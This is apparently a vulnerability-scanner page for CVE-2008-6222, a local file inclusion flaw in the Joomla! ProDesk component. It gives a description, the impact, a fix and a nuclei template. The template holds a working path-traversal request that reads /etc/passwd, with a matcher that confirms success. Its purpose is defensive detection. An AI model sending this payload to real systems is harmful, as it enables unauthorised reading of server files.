Joomla! ProDesk 1.0/1.2 - Local File Inclusion

mediumseverity

5CVSS score

11.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-6222 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-6222

info:
  name: Joomla! ProDesk 1.0/1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6980
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6222
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46356
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6222
    cwe-id: CWE-22
    epss-score: 0.11497
    epss-percentile: 0.96054
    cpe: cpe:2.3:a:joomlashowroom:pro_desk_support_center:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlashowroom
    product: pro_desk_support_center
  tags: cve,cve2008,joomla,lfi,edb,joomlashowroom,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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